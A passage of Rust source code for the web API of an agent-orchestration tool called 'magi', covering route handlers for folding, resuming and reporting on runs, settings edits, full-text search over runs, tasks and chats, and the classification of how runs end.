3464        .await?
3465    };
3466    let removed = match state {
3467        Some(mut state) => {
3468            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3469                .await
3470                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3471            // Nothing left to remove is not the same thing as nothing left to
3472            // do — see `clean::clear_abandoned_active`'s own doc for the run
3473            // this exists for: worktrees already gone, but a killed process
3474            // left active seats nobody will ever answer for.
3475            if removed.is_empty() {
3476                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3477                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3478            }
3479            removed
3480        }
3481        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3482            .await
3483            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3484    };
3485    Ok(Json(FoldView {
3486        run: id,
3487        removed_count: removed.len(),
3488        removed,
3489    }))
3490}
3491
3492/// What a fold took away, so the deck can say so rather than only re-render.
3493#[derive(Debug, Serialize)]
3494struct FoldView {
3495    run: String,
3496    /// Worktree paths and branch names removed, in the order they went.
3497    removed: Vec<String>,
3498    removed_count: usize,
3499}
3500
3501/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3502/// merged outside of `land::land`'s own loop.
3503#[derive(Debug, Deserialize)]
3504struct FoldMergedBody {
3505    #[serde(default)]
3506    pr_url: String,
3507}
3508
3509/// `POST /api/runs/{id}/fold-merged`.
3510///
3511/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3512/// `Blocked` with `merge: null` because magi never got as far as opening a
3513/// pull request of its own (a title over GitHub's length limit, `gh pr
3514/// create` unreachable, a stale token), which the operator then finished by
3515/// hand on a pull request magi never recorded. The "Run actions" sheet used
3516/// to have no way to tell it about that pull request short of a terminal and
3517/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3518/// this exists and what it deliberately does not do (`bump::after_merge`).
3519///
3520/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3521/// correction rewrites the same `status`/`merge` fields a running graph would
3522/// be writing to on its own.
3523///
3524/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3525/// calls plus a fold, seconds of work, and the phone should get its answer
3526/// (which pull request it recorded, and what changed) in the same round
3527/// trip rather than learning it from the change stream.
3528async fn run_fold_merged(
3529    State(ui): State<Arc<Ui>>,
3530    Path(id): Path<String>,
3531    Json(body): Json<FoldMergedBody>,
3532) -> ApiResult<Json<FoldMergedView>> {
3533    let pr_url = body.pr_url.trim().to_owned();
3534    if pr_url.is_empty() {
3535        return Err(ApiError::bad_request("pr_url is required"));
3536    }
3537    let (id, mut state) = {
3538        let ui = Arc::clone(&ui);
3539        blocking(move || {
3540            let id = resolve_run(&ui.runs, &id)?;
3541            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3542                return Err(ApiError::conflict(format!(
3543                    "run {id} is being worked on by a live daemon right now"
3544                )));
3545            }
3546            let state = read_run(&ui.runs, &id)?;
3547            Ok((id, state))
3548        })
3549        .await?
3550    };
3551    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3552        .await
3553        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3554    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3555        .await
3556        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3557    Ok(Json(FoldMergedView {
3558        run: id,
3559        before: before.as_str().to_owned(),
3560        after: after.as_str().to_owned(),
3561        removed,
3562    }))
3563}
3564
3565/// What [`run_fold_merged`] did, so the deck can say so.
3566#[derive(Debug, Serialize)]
3567struct FoldMergedView {
3568    run: String,
3569    /// `status` before the correction — normally `"blocked"`.
3570    before: String,
3571    /// `status` after — normally `"merged"`.
3572    after: String,
3573    /// Worktree paths and branch names the trailing fold removed.
3574    removed: Vec<String>,
3575}
3576
3577/// `POST /api/runs/{id}/resume`.
3578///
3579/// Carry a stalled run on from where it stopped, in the background.
3580///
3581/// A stalled card says "the work is kept" and used to offer no way to act on
3582/// that: the candidates are built and paid for, and continuing means re-asking
3583/// only the seats whose absence collapsed the panel. The alternative an
3584/// operator actually had was releasing the task, which competes three fresh
3585/// implementations against work that already exists.
3586///
3587/// **202, not 200.** A resume runs agents for minutes; holding the connection
3588/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3589/// phone learns the outcome from the change stream.
3590///
3591/// Refused when the loop is running at all, not merely when it is on this run.
3592/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3593/// started a second graph on top of whatever the loop is already driving —
3594/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3595/// allows — would spend that quota twice over for no extra throughput.
3596async fn run_resume(
3597    State(ui): State<Arc<Ui>>,
3598    Path(id): Path<String>,
3599) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3600    let (id, state) = {
3601        let ui = Arc::clone(&ui);
3602        blocking(move || {
3603            let id = resolve_run(&ui.runs, &id)?;
3604            let state = read_run(&ui.runs, &id)?;
3605            Ok((id, state))
3606        })
3607        .await?
3608    };
3609    if let Some(to) = &state.released_to {
3610        return Err(ApiError::conflict(format!(
3611            "run {} can no longer be resumed: its worktree was released to run {}, which \
3612             took the branch over.",
3613            state.short(),
3614            crate::run::short_of(to)
3615        )));
3616    }
3617    if !state.status.resumable() {
3618        return Err(ApiError::conflict(format!(
3619            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3620            state.short(),
3621            status_word(state.status)
3622        )));
3623    }
3624    // Refused whenever the loop is running anything at all, not merely when
3625    // it is on this run: a manual resume racing a loop-driven run over the
3626    // same agent quota is the thing this guard exists to prevent, whether
3627    // the loop's own concurrency is one run or several.
3628    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3629        .into_iter()
3630        .next()
3631    {
3632        return Err(ApiError::conflict(format!(
3633            "the loop is running run {} right now; stop it first, or wait for \
3634             it to finish, before resuming a run by hand.",
3635            crate::run::short_of(&work.run)
3636        )));
3637    }
3638    let _resume = ui.begin_resume(&id)?;
3639
3640    // The same shape the list route returns, so the phone updates the card it
3641    // already has rather than learning a second schema for one button.
3642    let queued = RunSummary::of(
3643        &state,
3644        !ui.questions.open_for(&id).is_empty(),
3645        state.liveness(false),
3646    );
3647    let run = id.clone();
3648    tokio::spawn(async move {
3649        let _resume = _resume;
3650        match crate::graph::Runner::resume(&run) {
3651            Ok(mut runner) => {
3652                if let Err(e) = runner.execute().await {
3653                    tracing::warn!("resume of run {run} stopped: {e:#}");
3654                }
3655            }
3656            // The run's own record is what the phone reads; this line is for
3657            // the operator's terminal.
3658            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3659        }
3660    });
3661    Ok((StatusCode::ACCEPTED, Json(queued)))
3662}
3663
3664async fn run_report(
3665    State(ui): State<Arc<Ui>>,
3666    Path(id): Path<String>,
3667) -> ApiResult<impl IntoResponse> {
3668    let text = blocking(move || {
3669        let id = resolve_run(&ui.runs, &id)?;
3670        // Colour is off for the whole process, set once in `serve`. Rendering
3671        // is CPU work over the full state, which is the other reason this is
3672        // not on the executor.
3673        let state = read_run(&ui.runs, &id)?;
3674        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3675        let live = state.liveness(daemon_claims);
3676        Ok(format!(
3677            "{}{}",
3678            report::run(&state),
3679            report::active_seats(&state, live)
3680        ))
3681    })
3682    .await?;
3683    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3684}
3685
3686/// The structured twin of [`run_report`]: the same state, as sections the UI
3687/// draws as cards. An unreadable run answers with the same error the text
3688/// route does; it is never turned into an empty report.
3689async fn run_report_json(
3690    State(ui): State<Arc<Ui>>,
3691    Path(id): Path<String>,
3692) -> ApiResult<Json<crate::report_view::RunReportView>> {
3693    let view = blocking(move || {
3694        let id = resolve_run(&ui.runs, &id)?;
3695        let state = read_run(&ui.runs, &id)?;
3696        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3697        Ok(crate::report_view::build(
3698            &state,
3699            state.liveness(daemon_claims),
3700        ))
3701    })
3702    .await?;
3703    Ok(Json(view))
3704}
3705
3706/// A task as the UI sees it.
3707///
3708/// The whole task, plus the two things the client would otherwise have to
3709/// reimplement: the human-readable source and the status string. Nothing is
3710/// removed - the phone shows `last_error` and the run history verbatim.
3711#[derive(Debug, Serialize)]
3712struct TaskView {
3713    #[serde(flatten)]
3714    task: Task,
3715    source_label: String,
3716    source_link: Option<SourceLink>,
3717    status_str: &'static str,
3718    /// The instruction, parsed as markdown, for the Queue card's "Full
3719    /// instruction" panel. `task.instruction` is unchanged and still carries
3720    /// the raw text.
3721    instruction_md: Vec<md::Node>,
3722    /// For a blocked task, what it waits on with each dependency's state, e.g.
3723    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3724    /// recurses; empty for every other status.
3725    waits_on: Vec<String>,
3726    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3727    /// behind - non-empty means nothing in the loop will ever run it.
3728    stuck_roots: Vec<String>,
3729}
3730
3731impl From<Task> for TaskView {
3732    fn from(task: Task) -> Self {
3733        Self {
3734            source_label: task.source.label(),
3735            source_link: source_link(&task.source),
3736            status_str: task.status.as_str(),
3737            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3738            waits_on: Vec::new(),
3739            stuck_roots: Vec::new(),
3740            task,
3741        }
3742    }
3743}
3744
3745impl TaskView {
3746    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3747        let waits_on = inv.waits_on(&task);
3748        let stuck_roots = inv
3749            .stuck_roots(&task)
3750            .iter()
3751            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3752            .collect();
3753        Self {
3754            waits_on,
3755            stuck_roots,
3756            ..Self::from(task)
3757        }
3758    }
3759}
3760
3761/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3762/// its absence, leaves the cache to decide.
3763#[derive(Debug, Default, Deserialize)]
3764#[serde(default)]
3765struct ReposQuery {
3766    refresh: u8,
3767}
3768
3769/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3770/// listing `magi repos` prints at a terminal.
3771///
3772/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3773/// so an edit to `magi.toml` takes effect without a restart, the same
3774/// reasoning [`config_for`] documents for the talk routes.
3775async fn repos_list(
3776    State(ui): State<Arc<Ui>>,
3777    Query(q): Query<ReposQuery>,
3778) -> ApiResult<Json<Vec<repos::Repo>>> {
3779    let refresh = q.refresh != 0;
3780    blocking(move || {
3781        let (cfg, _) = Config::discover(&ui.repo, None)?;
3782        Ok(Json(ui.repos_cache.list(
3783            &cfg.repos.roots,
3784            Duration::from_secs(cfg.repos.scan_ttl),
3785            refresh,
3786        )))
3787    })
3788    .await
3789}
3790
3791/// `GET /api/settings` - the effective role assignments and roster, with the
3792/// layer each came from. A config that fails to load answers 200 with an
3793/// `error`, so the screen can say so instead of drawing empty lists.
3794async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3795    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3796}
3797
3798/// The body of `PUT /api/settings/roles`.
3799#[derive(Debug, Deserialize)]
3800#[serde(deny_unknown_fields)]
3801struct RolesBody {
3802    /// The `revision` the client last read.
3803    revision: String,
3804    /// Role key to its new ids; an empty list resets the key to its default.
3805    #[serde(default)]
3806    roles: std::collections::BTreeMap<String, Vec<String>>,
3807    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
3808    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
3809    /// words (422) instead of as a deserialization error.
3810    #[serde(default)]
3811    counts: std::collections::BTreeMap<String, serde_json::Value>,
3812}
3813
3814/// `PUT /api/settings/roles` - save role assignments to the machine config.
3815///
3816/// The write target is `ui.machine_config` and nothing in the body can change
3817/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3818/// 422 with the reason in words.
3819async fn settings_put_roles(
3820    State(ui): State<Arc<Ui>>,
3821    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3822) -> ApiResult<Json<settings::SettingsView>> {
3823    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3824    blocking(move || {
3825        settings::save(
3826            &ui.repo,
3827            ui.machine_config.as_deref(),
3828            &body.revision,
3829            &body.roles,
3830            &body.counts,
3831        )
3832        .map(Json)
3833        .map_err(|e| match e {
3834            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3835            settings::SaveError::Refused(m) => ApiError {
3836                status: StatusCode::UNPROCESSABLE_ENTITY,
3837                message: m,
3838            },
3839            settings::SaveError::Internal(m) => ApiError::internal(m),
3840        })
3841    })
3842    .await
3843}
3844
3845async fn queue_list(
3846    State(ui): State<Arc<Ui>>,
3847    Query(q): Query<ListQuery>,
3848) -> ApiResult<Json<Vec<TaskView>>> {
3849    blocking(move || {
3850        let tasks = ui.queue.list();
3851        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3852        Ok(Json(
3853            tasks
3854                .into_iter()
3855                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3856                .map(|t| TaskView::with_inventory(t, &inv))
3857                .collect(),
3858        ))
3859    })
3860    .await
3861}
3862
3863/// Most hits one search returns. The rest are counted in `total`.
3864const SEARCH_MAX_HITS: usize = 100;
3865/// Longest query, in characters, and most terms it is split into.
3866const SEARCH_MAX_QUERY: usize = 200;
3867const SEARCH_MAX_TERMS: usize = 8;
3868/// Characters of context kept before the first hit, and after it.
3869const SNIPPET_BEFORE: usize = 50;
3870const SNIPPET_AFTER: usize = 110;
3871
3872/// `?scope=runs|tasks&q=...`
3873#[derive(Debug, Deserialize)]
3874struct SearchQuery {
3875    #[serde(default)]
3876    scope: String,
3877    #[serde(default)]
3878    q: String,
3879}
3880
3881/// One piece of a snippet. `hit` pieces are what matched; the client renders
3882/// them as `<mark>` through DOM text nodes, so no markup is ever built here.
3883#[derive(Debug, Serialize, PartialEq, Eq)]
3884struct SnippetPart {
3885    text: String,
3886    hit: bool,
3887}
3888
3889#[derive(Debug, Serialize)]
3890struct SearchHit {
3891    id: String,
3892    /// The name of the field the snippet was cut from.
3893    field: String,
3894    snippet: Vec<SnippetPart>,
3895    /// The run's list row, so the page can apply its state / section / repo
3896    /// filters to a hit outside the loaded window. Absent for tasks and for a
3897    /// run record the list view cannot read.
3898    #[serde(skip_serializing_if = "Option::is_none")]
3899    run: Option<RunSummary>,
3900}
3901
3902#[derive(Debug, Serialize)]
3903struct SearchView {
3904    scope: String,
3905    q: String,
3906    /// At most [`SEARCH_MAX_HITS`], newest runs / queue order first.
3907    hits: Vec<SearchHit>,
3908    /// Every match, hits beyond the cap included.
3909    total: usize,
3910    truncated: bool,
3911    /// Runs whose `run.json` could not be parsed at all. They were not
3912    /// searched; the same meaning as `runs_unreadable` in `/api/health`.
3913    unreadable: usize,
3914}
3915
3916/// The text leaves of a JSON document, with the name of the field each sits
3917/// under. Keys and numbers are skipped: they are structure, not prose.
3918fn text_leaves<'a>(
3919    value: &'a serde_json::Value,
3920    field: &'a str,
3921    out: &mut Vec<(&'a str, &'a str)>,
3922) {
3923    match value {
3924        serde_json::Value::String(s) => out.push((field, s)),
3925        serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
3926        serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
3927        _ => {}
3928    }
3929}
3930
3931/// Lower-case one character without changing how many there are, so indices
3932/// in the lowered text are indices in the original.
3933fn fold_char(c: char) -> char {
3934    c.to_lowercase().next().unwrap_or(c)
3935}
3936
3937/// Split a query into its lower-cased terms.
3938fn search_terms(q: &str) -> Vec<String> {
3939    let mut terms: Vec<String> = Vec::new();
3940    for t in q.split_whitespace() {
3941        let t = t.to_lowercase();
3942        if !terms.contains(&t) {
3943            terms.push(t);
3944        }
3945    }
3946    terms
3947}
3948
3949/// Match `terms` (all of them, anywhere in the document) against the leaves
3950/// and cut a snippet around the first hit. `None` when a term is missing.
3951fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
3952    let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
3953    let mut first: Option<usize> = None;
3954    for term in terms {
3955        let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
3956        first = Some(first.map_or(at, |f| f.min(at)));
3957    }
3958    // The leaf holding the earliest hit of any term is where the snippet is cut.
3959    let (field, text) = leaves[first?];
3960    Some(SearchHit {
3961        id: String::new(),
3962        field: field.to_owned(),
3963        snippet: snippet_of(text, terms),
3964        run: None,
3965    })
3966}
3967
3968/// A window of `text` around the first occurrence of any term, whitespace
3969/// collapsed, with every term occurrence inside the window marked.
3970fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
3971    let chars: Vec<char> = text.chars().collect();
3972    let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
3973    let needles: Vec<Vec<char>> = terms
3974        .iter()
3975        .map(|t| t.chars().map(fold_char).collect())
3976        .collect();
3977    let find = |from: usize, to: usize| -> Option<(usize, usize)> {
3978        let mut best: Option<(usize, usize)> = None;
3979        for n in needles.iter().filter(|n| !n.is_empty()) {
3980            // `to` bounds where a match may start; it may run past `to` (the
3981            // caller clips what it shows). A term longer than the field cannot
3982            // occur in it (it may live in another leaf of the document).
3983            if n.len() > chars.len() || to == 0 {
3984                continue;
3985            }
3986            let last = (to - 1).min(chars.len() - n.len());
3987            if from > last {
3988                continue;
3989            }
3990            if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
3991                && best.is_none_or(|(b, _)| i < b)
3992            {
3993                best = Some((i, i + n.len()));
3994            }
3995        }
3996        best
3997    };
3998    let Some((start, _)) = find(0, chars.len()) else {
3999        // Matched only through a case mapping that changes length: show the head.
4000        let head: String = chars.iter().take(SNIPPET_AFTER).collect();
4001        return vec![SnippetPart {
4002            text: head.split_whitespace().collect::<Vec<_>>().join(" "),
4003            hit: false,
4004        }];
4005    };
4006    let lo = start.saturating_sub(SNIPPET_BEFORE);
4007    let hi = (start + SNIPPET_AFTER).min(chars.len());
4008    let mut parts: Vec<SnippetPart> = Vec::new();
4009    let mut push = |s: &[char], hit: bool| {
4010        if s.is_empty() {
4011            return;
4012        }
4013        let text: String = s.iter().collect();
4014        match parts.last_mut() {
4015            Some(p) if p.hit == hit => p.text.push_str(&text),
4016            _ => parts.push(SnippetPart { text, hit }),
4017        }
4018    };
4019    if lo > 0 {
4020        push(&['\u{2026}'], false);
4021    }
4022    let mut at = lo;
4023    while at < hi {
4024        match find(at, hi) {
4025            Some((s, e)) => {
4026                push(&chars[at..s], false);
4027                // A match running past the window is shown up to its edge.
4028                let shown = e.min(hi);
4029                push(&chars[s..shown], true);
4030                at = shown;
4031            }
4032            None => {
4033                push(&chars[at..hi], false);
4034                at = hi;
4035            }
4036        }
4037    }
4038    if hi < chars.len() {
4039        push(&['\u{2026}'], false);
4040    }
4041    // Collapse whitespace (newlines in an instruction) without disturbing the
4042    // hit boundaries.
4043    let mut prev_space = false;
4044    for p in &mut parts {
4045        let mut out = String::with_capacity(p.text.len());
4046        for c in p.text.chars() {
4047            if c.is_whitespace() {
4048                if !prev_space {
4049                    out.push(' ');
4050                }
4051                prev_space = true;
4052            } else {
4053                out.push(c);
4054                prev_space = false;
4055            }
4056        }
4057        p.text = out;
4058    }
4059    parts.retain(|p| !p.text.is_empty());
4060    parts
4061}
4062
4063/// The search over `docs` (id, document), newest first, capped.
4064fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
4065where
4066    I: IntoIterator<Item = (String, serde_json::Value)>,
4067{
4068    for (id, doc) in docs {
4069        let mut leaves = Vec::new();
4070        // The id is text an operator types too, and it is a map key on disk,
4071        // not a leaf.
4072        leaves.push(("id", id.as_str()));
4073        text_leaves(&doc, "", &mut leaves);
4074        if let Some(mut hit) = search_document(terms, &leaves) {
4075            view.total += 1;
4076            if view.hits.len() < SEARCH_MAX_HITS {
4077                hit.id = id;
4078                view.hits.push(hit);
4079            }
4080        }
4081    }
4082    view.truncated = view.total > view.hits.len();
4083}
4084
4085/// What a conversation is searched by: its list title and each turn's text,
4086/// under `operator` / `agent` so the snippet says who spoke. Nothing else
4087/// (session ids, repo paths, usage, drafts) is part of the document.
4088///
4089/// The title rule mirrors `talkOpener` / `firstLine` in `app.js`: the first
4090/// non-empty line of the first operator turn, trimmed and cut to 96 chars.
4091fn talk_search_doc(talk: &Talk) -> serde_json::Value {
4092    let opener = talk
4093        .turns
4094        .iter()
4095        .find(|t| t.who == crate::talk::Who::Operator)
4096        .and_then(|t| t.body.lines().map(str::trim).find(|l| !l.is_empty()))
4097        .unwrap_or("");
4098    let title: String = if opener.chars().count() > 96 {
4099        opener.chars().take(95).chain(['\u{2026}']).collect()
4100    } else {
4101        opener.to_owned()
4102    };
4103    let turns: Vec<serde_json::Value> = talk
4104        .turns
4105        .iter()
4106        .map(|t| {
4107            let who = match t.who {
4108                crate::talk::Who::Operator => "operator",
4109                crate::talk::Who::Agent => "agent",
4110            };
4111            serde_json::json!({ who: t.body })
4112        })
4113        .collect();
4114    serde_json::json!({ "title": title, "turns": turns })
4115}
4116
4117/// Read-only full-text search over every run's `run.json`, every task or every
4118/// conversation (title and transcript).
4119///
4120/// Documents are read as plain JSON rather than `RunState` / `Task`, so a
4121/// record from an older schema still searches; only a file that is not JSON
4122/// at all is counted in `unreadable`. `artifacts/*.out` are not searched.
4123async fn search_get(
4124    State(ui): State<Arc<Ui>>,
4125    Query(q): Query<SearchQuery>,
4126) -> ApiResult<Json<SearchView>> {
4127    let query = q.q.trim().to_owned();
4128    if query.is_empty() {
4129        return Err(ApiError::bad_request("q must not be empty"));
4130    }
4131    if query.chars().count() > SEARCH_MAX_QUERY {
4132        return Err(ApiError::bad_request(format!(
4133            "q is longer than {SEARCH_MAX_QUERY} characters"
4134        )));
4135    }
4136    let terms = search_terms(&query);
4137    if terms.len() > SEARCH_MAX_TERMS {
4138        return Err(ApiError::bad_request(format!(
4139            "q has more than {SEARCH_MAX_TERMS} terms"
4140        )));
4141    }
4142    let scope = q.scope;
4143    if scope != "runs" && scope != "tasks" && scope != "chats" {
4144        return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
4145    }
4146    blocking(move || {
4147        let mut view = SearchView {
4148            scope: scope.clone(),
4149            q: query,
4150            hits: Vec::new(),
4151            total: 0,
4152            truncated: false,
4153            unreadable: 0,
4154        };
4155        if scope == "runs" {
4156            let mut unreadable = 0;
4157            // One run.json is read, matched and dropped at a time; nothing
4158            // holds the whole history. The scan runs to the end even past the
4159            // hit cap so `total` and `unreadable` stay exact.
4160            let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
4161                let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
4162                match body.and_then(|b| serde_json::from_str(&b).ok()) {
4163                    Some(v) => Some((id, v)),
4164                    None => {
4165                        unreadable += 1;
4166                        None
4167                    }
4168                }
4169            });
4170            search_docs(&terms, docs, &mut view);
4171            view.unreadable = unreadable;
4172            // Only the capped hits get a row: the filters need a run's state,
4173            // and reading every match would be the whole history again.
4174            let (open_runs, claimed, superseded) = run_row_inputs(&ui);
4175            let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
4176            for hit in &mut view.hits {
4177                if let Ok(state) = read_run(&ui.runs, &hit.id) {
4178                    hit.run = summarize(
4179                        [state],
4180                        &open_runs,
4181                        &claimed,
4182                        &superseded,
4183                        |p| probe.borrow_mut().status(p),
4184                        |p| probe.borrow_mut().started_at(p),
4185                    )
4186                    .pop();
4187                }
4188            }
4189        } else if scope == "chats" {
4190            let (talks, unreadable) = ui.talks.list_counting_unreadable();
4191            view.unreadable = unreadable;
4192            search_docs(
4193                &terms,
4194                talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
4195                &mut view,
4196            );
4197        } else {
4198            let docs = ui.queue.list().into_iter().filter_map(|t| {
4199                let mut v = serde_json::to_value(&t).ok()?;
4200                // `source` serialises as a tagged object; the label is what
4201                // the operator reads ("human", "chat@a1b2").
4202                if let Some(o) = v.as_object_mut() {
4203                    o.insert("filed_by".to_owned(), t.source.label().into());
4204                }
4205                Some((t.id, v))
4206            });
4207            search_docs(&terms, docs, &mut view);
4208        }
4209        Ok(Json(view))
4210    })
4211    .await
4212}
4213
4214/// One attempt in a task's history, as the task page lists it.
4215#[derive(Debug, Serialize)]
4216struct TaskRunView {
4217    /// 1-based position in [`Task::runs`].
4218    n: usize,
4219    id: String,
4220    short: String,
4221    /// `competition`, `solo`, `review`, `resume` or `unknown` (record unreadable).
4222    kind: &'static str,
4223    /// The run's own status string; `None` when its record cannot be read.
4224    status: Option<&'static str>,
4225    /// Whether this build could read the run's record. Counted, never hidden.
4226    readable: bool,
4227    /// A verdict from a collapsed panel is provisional, never a decision.
4228    provisional: bool,
4229    /// What kind of attempt this was, in one line.
4230    description: String,
4231    /// How it ended and why the task moved on (or what it is doing now).
4232    outcome: String,
4233    created_at: Option<Timestamp>,
4234    pr: Option<String>,
4235    /// Why this pass ended, classified once; the flowchart is built from it.
4236    exit: RunExit,
4237    /// What the pass did to the task's attempt budget.
4238    attempt: AttemptCost,
4239    /// The branch a review-only run reopened.
4240    branch: Option<String>,
4241}
4242
4243/// How one pass over a run ended, as far as the task's life is concerned.
4244#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4245#[serde(rename_all = "snake_case")]
4246enum RunExit {
4247    Unreadable,
4248    /// An earlier pass of a run id that appears again: it stopped short.
4249    Interrupted,
4250    Parked,
4251    QuotaStall,
4252    /// Stalled on a resumed pass with quota losses on record: they may be
4253    /// left over from an earlier pass, so whether this one was refunded is
4254    /// not knowable.
4255    ResumedQuotaStall,
4256    Merged,
4257    Ready,
4258    Superseded,
4259    /// The change was already on the base under other commits: the task
4260    /// finished without this run landing anything.
4261    AlreadyInBase,
4262    /// Stalled without a rate limit to blame: no verdict, attempt spent.
4263    Stalled,
4264    /// Blocked / no-op with a pull request left open: held for a person.
4265    HeldWithPr,
4266    NoopHeld,
4267    /// Blocked or failed: the attempt is spent and the task retries or holds.
4268    Spent,
4269    InProgress,
4270}
4271
4272#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
4273#[serde(rename_all = "snake_case")]
4274enum AttemptCost {
4275    Spent,
4276    Refunded,
4277    None,
4278    /// Cannot be told from the records that remain.
4279    Unknown,
4280}
4281
4282impl RunExit {
4283    fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
4284        let Some(s) = s else {
4285            return Self::Unreadable;
4286        };
4287        let status = s.status;
4288        if resumed_later {
4289            Self::Interrupted
4290        } else if s.parked {
4291            Self::Parked
4292        } else if !status.done() {
4293            Self::InProgress
4294        } else if matches!(status, RunStatus::Merged) {
4295            Self::Merged
4296        } else if matches!(status, RunStatus::Ready) {
4297            Self::Ready
4298        } else if matches!(status, RunStatus::Superseded) {
4299            Self::Superseded
4300        } else if matches!(status, RunStatus::AlreadyInBase) {
4301            Self::AlreadyInBase
4302        } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
4303            || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
4304        {
4305            if resumed {
4306                Self::ResumedQuotaStall
4307            } else {
4308                Self::QuotaStall
4309            }
4310        } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
4311            Self::HeldWithPr
4312        } else if matches!(status, RunStatus::VerifiedNoop) {
4313            Self::NoopHeld
4314        } else if matches!(status, RunStatus::Stalled) {
4315            Self::Stalled
4316        } else {
4317            Self::Spent
4318        }
4319    }
4320
4321    fn cost(self) -> AttemptCost {
4322        match self {
4323            Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
4324            Self::Merged
4325            | Self::Ready
4326            | Self::Stalled
4327            | Self::HeldWithPr
4328            | Self::NoopHeld
4329            | Self::Spent => AttemptCost::Spent,
4330            Self::InProgress => AttemptCost::None,
4331            Self::AlreadyInBase => AttemptCost::Refunded,
4332            Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
4333                AttemptCost::Unknown
4334            }
4335        }
4336    }
4337
4338    /// Short edge wording for leaving a run this way.
4339    fn edge_label(self, status: Option<&str>) -> String {
4340        match self {
4341            Self::Unreadable => "record unreadable".to_owned(),
4342            Self::Interrupted => "interrupted before the run finished".to_owned(),
4343            Self::Parked => "parked, attempt refunded".to_owned(),
4344            Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
4345            Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
4346            Self::Merged => "merged".to_owned(),
4347            Self::Ready => "ready, not merged".to_owned(),
4348            Self::Superseded => "superseded by a later attempt".to_owned(),
4349            Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
4350            Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
4351            Self::HeldWithPr => "blocked, PR left open".to_owned(),
4352            Self::NoopHeld => "verified no-op".to_owned(),
4353            Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
4354            Self::InProgress => "in progress".to_owned(),
4355        }
4356    }
4357
4358    /// Does a task in `end` follow from a run that ended this way? When not,
4359    /// somebody closed or held the task by hand.
4360    fn explains(self, end: TaskStatus) -> bool {
4361        match self {
4362            Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
4363            Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
4364            Self::Unreadable | Self::Superseded | Self::Ready => true,
4365            _ => end != TaskStatus::Done,
4366        }
4367    }
4368}
4369
